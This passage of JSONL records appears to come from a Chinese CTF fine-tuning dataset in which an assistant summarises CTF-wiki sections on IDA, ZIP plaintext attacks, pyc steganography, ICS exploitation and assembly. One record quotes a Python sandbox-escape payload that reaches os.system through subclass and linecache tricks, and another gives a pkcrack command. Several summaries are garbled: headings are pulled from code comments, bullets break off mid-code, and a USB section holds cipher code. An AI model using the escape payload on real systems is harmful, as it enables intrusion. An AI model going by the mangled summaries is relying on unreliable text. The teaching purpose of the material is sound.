"Python 操作二进制数据", "struct 模块"], "original_id": "docs-40f412b84eb2e1ab7fbd", "original_line": 540, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/prefix.md", "source_root": "docs", "source_sha256": "1b0a508414fbe3253d471dcf4b730542665a0ec2624fddeab8e0e78507d89b73", "split": "train", "split_group_key": "fff096ad11f55a1567dae583", "subcategory": "misc/prefix.md", "terms": ["misc", "prefix.md", "code:python"], "title": "取证隐写前置技术"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/prefix.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-09f9426434dd7d3ab8fa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「获取 IDA」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 获取 IDA\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“获取 IDA”展开。\n- 通过 IDA Pro 我们可以很方便地复原二进制程序的运行逻辑，从而进一步审计出其中存在的漏洞。\n- IDA Pro 为付费软件，软件本体与不同架构的反编译引擎单独进行收费，你可以根据自己的需求在 Hex-rays 的官网自行购买相应的软件许可证以进行使用。\n- IDA Pro（interactive Disassembler Professional）是由 Hex-Rays 公司出品的一款交互式反汇编工具，也是软件逆向工程当中最流行的一个静态分析工具。\n- > 截至 2024 年 4 月， IDA Pro 本体许可证的价格为 1975 USD，任一指令集架构反编译功能的许可证价格为 2765 USD。\n- 此外，Hex-rays 公司还提供基于云引擎的免费逆向工具 IDA Free，目前仅支持 x86 逆向，不过对于绝大部分 CTF 中 Linux 下的用户态 Pwn 题目而言通常已足够使用。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- environment.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 464, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "获取 IDA", "heading_path": ["pwn-related tools", "在本地直接搭建 CTF Pwn 做题环境", "获取 IDA"], "original_id": "docs-6cddf8beb270b40c7825", "original_line": 848, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "f58ed09fe7351a5b24faeb25", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "environment.md"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0a3584d41c3d8390ea92", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/archive/zip.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/archive/zip.md`\n标题：ZIP 格式\n章节：-- coding: utf-8 -- > 明文攻击 > 例题\n路径分类：misc / misc/archive/zip.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- 方法一、 pkcrack 进行明文攻击 pkcrack 下载链接：https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html 我们可以直接写个 shell 脚本下载就好了： ``shell #!\n- 文件: ./figure/compare.png] 第三步、尝试明文攻击 既然我们已经知道了它是明文攻击的话，我们将对其压缩包进行破解，由于解压出的readme.txt是加密压缩包里的 readme.txt 的明文，将 readme.txt 压缩成 .zip 文件，然后在软件中填入相应的路径即可开始进行明文攻击，这里我们将介绍 Windows 和 Ubuntu 下使用不同的方式进行明文攻击。\n- 我就是因为这个问题卡了整整三个月没做出来，不信的话我们可以看看第二种方法，在 Windows 下用 ARCHPR 进行明文攻击。\n- 方法二、 ARCHPR 进行明文攻击 首先这题我建议大家下 ARCHPR 4.53 版本，我是在这个版本下测试成功的。\n- 然后我们就可以用 ARCHPR 进行明文攻击了。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- misc\n- archive\n- zip.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 8 行，首行 `#!/bin/bash -ex`\n- shell: 1 行，首行 `chmod 777 install.sh`\n- shell: 1 行，首行 `chmod u+x install.sh`\n- shell: 1 行，首行 `./pkcrack -c \"readme.txt\" -p readme.txt -C ~/下载/misc/Desktop.zip -P ~/下载/misc/readme.zip -d ~/decrypt.zip`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 3264, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["-- coding: utf-8 --", "明文攻击", "例题"], "original_id": "docs-57c4ee480f0380bc829e", "original_line": 551, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "source_root": "docs", "source_sha256": "171c086900627e8f254fb7ea6f3caf29192f5b226bef34498c74cf7a30fd5f7b", "split": "train", "split_group_key": "8094e438946b0ffa3ad01857", "subcategory": "misc/archive/zip.md", "terms": ["密码学", "漏洞利用", "misc", "archive", "zip.md", "code:shell"], "title": "ZIP 格式"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0ab586a5e8e9e390bfa2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/other/pyc.md` 中的章节「Stegosaurus」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/other/pyc.md`\n标题：pyc文件\n章节：WARNING: Decompyle incomplete > Tools > Stegosaurus\n路径分类：misc / misc/other/pyc.md\n分块：1/1\n\n核心知识点：\n- Python 的 dis 模块会返回源文件的字节码，然后我们就可以使用 Stegosaurus 来嵌入 Payload 了。\n- 原理是在 python 的字节码文件中，利用冗余空间，将完整的 payload 代码分散隐藏到这些零零碎碎的空间中。\n- > Stegosaurus 是一款隐写工具，它允许我们在 Python 字节码文件( pyc 或 pyo )中嵌入任意 Payload。\n- 由于编码密度较低，因此我们嵌入 Payload 的过程既不会改变源代码的运行行为，也不会改变源文件的文件大小。\n- Payload 代码会被分散嵌入到字节码之中，所以类似 strings 这样的代码工具无法查找到实际的 Payload。\n\n关键术语：\n- 漏洞利用\n- misc\n- other\n- pyc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 373, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "Stegosaurus", "heading_path": ["WARNING: Decompyle incomplete", "Tools", "Stegosaurus"], "original_id": "docs-2f1c9d1d1515bc7ec1b8", "original_line": 568, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "source_root": "docs", "source_sha256": "61611db97a5903d35a40e84b0e59cd094a78566b0e2664f48170d094a72dd4c2", "split": "train", "split_group_key": "23dcd03d63a03f4b5893a4bf", "subcategory": "misc/other/pyc.md", "terms": ["漏洞利用", "misc", "other", "pyc.md"], "title": "pyc文件"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0b81c715fbc03afae94a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/jpg.md` 中的章节「文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/jpg.md`\n标题：JPG\n章节：JPG > 文件结构\n路径分类：misc / misc/picture/jpg.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“文件结构”展开。\n- JPEG 是有损压缩格式，将像素信息用 JPEG 保存成文件再读取出来，其中某些像素值会有少许变化。\n- 在保存时有个质量参数可在 0 至 100 之间选择，参数越大图片就越保真，但图片的体积也就越大。\n- 一般情况下选择 70 或 80 就足够了 - JPEG 没有透明度信息 JPG 基本数据结构为两大类型：「段」和经过压缩编码的图像数据。\n- 段与段之间无论有多少 FF 都是合法的，这些 FF 称为「填充字节」，必须被忽略掉。\n- 一些常见的段类型 [图片文件: ./figure/jpgformat.png] 0xffd8 和 0xffd9为 JPG 文件的开始结束的标志。\n\n关键术语：\n- misc\n- picture\n- jpg.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 563, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "文件结构", "heading_path": ["JPG", "文件结构"], "original_id": "docs-98eff9cb3babfd2b0c17", "original_line": 580, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/jpg.md", "source_root": "docs", "source_sha256": "511e2283dbd668e594a3274653afdb20ddfae8ff34bee0a759a8df4d0f60e28a", "split": "train", "split_group_key": "2dc62739a6fa4f94b0a0994e", "subcategory": "misc/picture/jpg.md", "terms": ["misc", "picture", "jpg.md"], "title": "JPG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/jpg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0bd8bb583091ebba4a5a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（1）常见整数指令（R 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x03 常见指令 > （1）常见整数指令（R 型）\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（1）常见整数指令（R 型）”展开。\n- R 型指令用于寄存器之间的算术或逻辑操作，格式：rd = rs1 op rs2。\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 667, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（1）常见整数指令（R 型）", "heading_path": ["Risc-V", "0x03 常见指令", "（1）常见整数指令（R 型）"], "original_id": "docs-1f4d93cf265464c6befb", "original_line": 115, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "37f557b52b5dac26db60738d", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0c8894b570fd70372d02", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/arm/readme.md` 中的章节「参考链接」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/arm/readme.md`\n标题：ARM\n章节：ARM > 2. 指令集 > 参考链接\n路径分类：assembly / assembly/arm/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考链接”展开。\n- arm 指令学习 常用arm指令 arm-opcode-map\n\n关键术语：\n- assembly\n- arm\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 234, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "参考链接", "heading_path": ["ARM", "2. 指令集", "参考链接"], "original_id": "docs-15fadf9003ab2267512f", "original_line": 105, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/arm/readme.md", "source_root": "docs", "source_sha256": "39d09e2beaa059e00d400c0eee7a6c5ca559941eeb0de8cd4845b772bdceadaf", "split": "train", "split_group_key": "ba685824bb98e68e544f5fbe", "subcategory": "assembly/arm/readme.md", "terms": ["assembly", "arm", "readme.md"], "title": "ARM"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/arm/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0e3b93e999546d40b53d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/exploit.md` 中的章节「组态利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/exploit.md`\n标题：ICS_CTF 利用\n章节：ICS_CTF 利用 > 组态利用\n路径分类：ics / ics/exploit.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“组态利用”展开。\n- 组态的利用方法： 1. 强制IO(最管用的一种调试方法) 2. 工程加密与解密（工程加密是PLC一种保护措施，但仍存在被破解的可能） 3. 上载下载（基础概念请自行恶补） 4.\n- 组态是工控场景的核心，是工控编程与实现功能的核心内容，如果你不太懂组态，请自行学习自动化领域工业控制系统组态的相关书籍。\n- PLC等目标设备的内存分布（基础概念请自行恶补） 5. 其他附加功能（例如ftp、ntp等）\n- 最好的学习方式是拿到相关的产品说明书，针对说明书上的内容一点一点学习。\n\n关键术语：\n- 漏洞利用\n- ics\n- exploit.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 234, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "组态利用", "heading_path": ["ICS_CTF 利用", "组态利用"], "original_id": "docs-f0c6aeed71dd56d4b3ac", "original_line": 514, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/exploit.md", "source_root": "docs", "source_sha256": "2e696f3a1a227fcaf0d1942736a623b6f6efd2637abf2b990b57535da2db082c", "split": "train", "split_group_key": "c08392d459c01bf03562f8fe", "subcategory": "ics/exploit.md", "terms": ["漏洞利用", "ics", "exploit.md"], "title": "ICS_CTF 利用"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-114895d2f62152d0a1e8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/mips/readme.md` 中的章节「0x2 指令 Instruction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/mips/readme.md`\n标题：MIPS\n章节：MIPS > 0x2 指令 Instruction\n路径分类：assembly / assembly/mips/readme.md\n分块：1/4\n\n核心知识点：\n- 本节主题围绕“0x2 指令 Instruction”展开。\n- ADD – Add (with overflow) | Description: | Adds two registers and stores the result in a register | | ------------ | ------------------------------------------------------ | | Operation: | $d = $s + $t;\n- | | Syntax: | add $d, $s, $t | | Encoding: | 0000 00ss ssst tttt dddd d000 0010 0000 | ADDI -- Add immediate (with overflow) | Description: | Adds a register and a sign-extended immediate value and stores the result in a register | | ------------ | --------...\n- | | Syntax: | addi $t, $s, imm | | Encoding: | 0010 00ss ssst tttt iiii iiii iiii iiii | ADDIU -- Add immediate unsigned (no overflow) | Description: | Adds a register and a sign-extended immediate value and stores the result in a register | | ------------...\n- | | Syntax: | addiu $t, $s, imm | | Encoding: | 0010 01ss ssst tttt iiii iiii iiii iiii | ADDU -- Add unsigned (no overflow) | Description: | Adds two registers and stores the result in a register | | ------------ | -----------------------------------------...\n- advance_pc (offset << 2));\n\n关键术语：\n- 边界/溢出\n- assembly\n- mips\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 5049, "chunk_count": 4, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "0x2 指令 Instruction", "heading_path": ["MIPS", "0x2 指令 Instruction"], "original_id": "docs-5c3aba35f25f56d14604", "original_line": 107, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/mips/readme.md", "source_root": "docs", "source_sha256": "3dd6ae5d2f440b8e4d60e6eb8581577f322de326fc0478d8a8ad1a466879f9a7", "split": "train", "split_group_key": "f24507ac33f6ec4f9e12c09f", "subcategory": "assembly/mips/readme.md", "terms": ["边界/溢出", "assembly", "mips", "readme.md"], "title": "MIPS"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/mips/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-12757199c22bffa9a001", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/ctfs.md` 中的章节「题目示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/ctfs.md`\n标题：ICS_CTF 竞赛\n章节：ICS_CTF 竞赛 > 工控编程和组态（Program） > 题目示例\n路径分类：ics / ics/ctfs.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目示例”展开。\n- 题目名字：PLC梯形图计算 这类题目主要考察做题者对于相应产品（PLC、RTU、上位机软件）的编程软件、编程语言及流程的熟悉程度，当拿到题目时需要有相应的支持软件可以打开题目。\n- 例如下图是一道西门子 PLC 的编程题目，flag 为梯形图的最终输出值，所以我们使用博图软件打开题目： [图片: plc;\n- 文件: ./figure/PLC_1.png] 这类题目的做法一般有两种： 1. 题目代码模拟运行，然后直接查看相应位置的值，但是一般会遇到很多错误难以直接运行；\n- 以上是我参加工控比赛的一些心得体会，希望能为后来参赛的小伙伴多些指导。\n\n关键术语：\n- ics\n- ctfs.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 297, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "题目示例", "heading_path": ["ICS_CTF 竞赛", "工控编程和组态（Program）", "题目示例"], "original_id": "docs-ca28eabf4108120df305", "original_line": 511, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "source_root": "docs", "source_sha256": "9db703e491384f8fdf09bd064abbc3e4dd8b18009267043bc9c04a4ff4baaa60", "split": "train", "split_group_key": "8b7bbff84856ef1302babfe4", "subcategory": "ics/ctfs.md", "terms": ["ics", "ctfs.md"], "title": "ICS_CTF 竞赛"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-12cec66a02b9a4a51a97", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/usb.md` 中的章节「keep a list of the N best things we have seen, discard anything else」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/usb.md`\n标题：USB\n章节：keep a list of the N best things we have seen, discard anything else\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“keep a list of the N best things we have seen, discard anything else”展开。\n- class nbest(object): def __init__(self,N=1000): self.store = [] self.N = N\n- def add(self,item): self.store.append(item) self.store.sort(reverse=True) self.store = self.store[:self.N]\n- def __getitem__(self,k): return self.store[k]\n- def __len__(self): return len(self.store)\n- init N=100 for KLEN in range(3,20): rec = nbest(N) for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3): key = ''.join(i) + 'A'*(KLEN-len(i)) pt = Autokey(key).decipher(ctext) score = 0 for j in range(0,len(ctext),KLEN): score += trigram.score(pt[j:j+3]) r...\n\n关键术语：\n- misc\n- traffic\n- protocols\n- usb.md\n\n代码/命令片段线索：\n- plain: 3 行，首行 `跑出来的结果如下：`\n- plain: 1 行，首行 `我们把字段进行分割看：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1738, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "keep a list of the N best things we have seen, discard anything else", "heading_path": ["keep a list of the N best things we have seen, discard anything else"], "original_id": "docs-75e5c31c7f7a94bf6e0e", "original_line": 33, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/usb.md", "source_root": "docs", "source_sha256": "08cca8a2e3086d186787a8373b02ff799d9bcf0c30eca387da114d4c8673a550", "split": "train", "split_group_key": "277d092c0525860965682b5d", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "usb.md"], "title": "USB"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/usb.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-147eb15403a8fab58632", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「创建对象并利用 Python 操作字符串的特性」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`\n标题：Python 沙盒\n章节：Python 沙盒 > 例子 > 创建对象并利用 Python 操作字符串的特性\n路径分类：pwn / pwn/sandbox/python\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“创建对象并利用 Python 操作字符串的特性”展开。\n- ``py x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__ x.__getattribute__(\"func_global\"+\"s\")['linecache'].__dict__['o'+'s'].__dict__'sy'+'stem' x.__getattribute__(\"func_global\"+\"s\")['linecache'].__dict_...\n\n关键术语：\n- 漏洞利用\n- pwn\n- sandbox\n- python\n- python-sandbox-escape.md\n- code:py\n\n代码/命令片段线索：\n- py: 4 行，首行 `x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 468, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "创建对象并利用 Python 操作字符串的特性", "heading_path": ["Python 沙盒", "例子", "创建对象并利用 Python 操作字符串的特性"], "original_id": "docs-a2e05650a2da0b83fd59", "original_line": 1390, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "source_root": "docs", "source_sha256": "570570f0a47eb77c249b26bca6c4b3c05b9a3156bea628aa4abacc505aa59dec", "split": "train", "split_group_key": "094166ea333fb9dd01369110", "subcategory": "pwn/sandbox/python", "terms": ["漏洞利用", "pwn", "sandbox", "python", "python-sandbox-escape.md", "code:py"], "title": "Python 沙盒"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-18573c3eb519d1e38fe0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/data.md` 中的章节「处理结果」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/data.md`\n标题：数据提取\n章节：数据提取 > 自定义协议 > 例题分析 > 处理结果\n路径分类：misc / misc/traffic/data.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“处理结果”展开。\n- ev3 scanner 第二题的做法与第一题基本相同，难度增加的地方在于： - 发送的命令不再单一，包括读取传感器信息、控制 ev3 运动 - 回复也包含信息，主要是传感器读取的内容 - 函数的参数更复杂，解析难度更大 - 解析命令得到的结果需要更多处理 ev3 scanner 此处不再提供详细方法，可作为练习加深对这一类型题目的理解。\n- 理解数据内容后，通过脚本提取所有命令并解析参数，需要注意单个参数的字节数不固定。\n- 得到所有命令的参数后，可以将每个字符其按照坐标绘制在屏幕上。\n- 较简单的做法是先按 X 后按 Y 排序，直接输出即可。\n\n关键术语：\n- misc\n- traffic\n- data.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 286, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "处理结果", "heading_path": ["数据提取", "自定义协议", "例题分析", "处理结果"], "original_id": "docs-a4be1f23d832535b3cb8", "original_line": 595, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "source_root": "docs", "source_sha256": "1a96b9cf486f762a88e189b11b96da62d0a31eb956ca792e9e074841dbe37a25", "split": "train", "split_group_key": "d28aad3808e490d9bca0bff4", "subcategory": "misc/traffic/data.md", "terms": ["misc", "traffic", "data.md"], "title": "数据提取"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "split": "train", "type": 